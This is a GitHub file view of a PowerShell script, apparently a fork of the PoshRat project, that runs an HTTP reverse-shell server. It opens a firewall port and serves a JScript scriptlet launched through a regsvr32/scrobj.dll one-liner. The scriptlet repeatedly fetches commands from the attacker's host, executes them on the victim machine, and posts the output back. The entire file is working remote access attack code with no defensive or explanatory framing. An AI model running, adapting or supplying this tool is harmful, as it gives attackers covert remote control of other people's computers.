forked from carnal0wnage/PoshRat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
JSRat2.ps1
130 lines (104 loc) · 3.35 KB
/
JSRat2.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<#
Author: Casey Smith @subTee
License: BSD3-Clause
.SYNOPSIS
Simple Reverse Shell over HTTP. Execute Commands on Client.
"regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll"
Listening Server IP Address
#>
$Server = '127.0.0.1' #Listening IP. Change This.
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/file.sct$' -and ($request.HttpMethod -eq "GET")) {
$message = '<?XML version="1.0"?>
<scriptlet>
<registration
description="DebugShell"
progid="DebugShell"
version="1.00"
classid="{90001111-0000-0000-0000-0000FEEDACDC}"
>
<script language="JScript">
<![CDATA[
while(true)
{
try
{
//Expects to run behind a proxy... Deal with it.
//Uncomment.
w = new ActiveXObject("WScript.Shell");
//v = w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
//q = v.split("=")[1].split(";")[0];
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
//h.SetProxy(2,q);
h.Open("GET","http://'+$Server+'/rat",false);
h.Send();
c = h.ResponseText;
r = new ActiveXObject("WScript.Shell").Exec(c);
var so;
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
p = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
//p.SetProxy(2,q);
p.Open("POST","http://'+$Server+'/rat",false);
p.Send(so);
}
catch(err)
{
continue;
}
}
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
}
]]>
</script>
</scriptlet>
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "JS $hostip>"
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()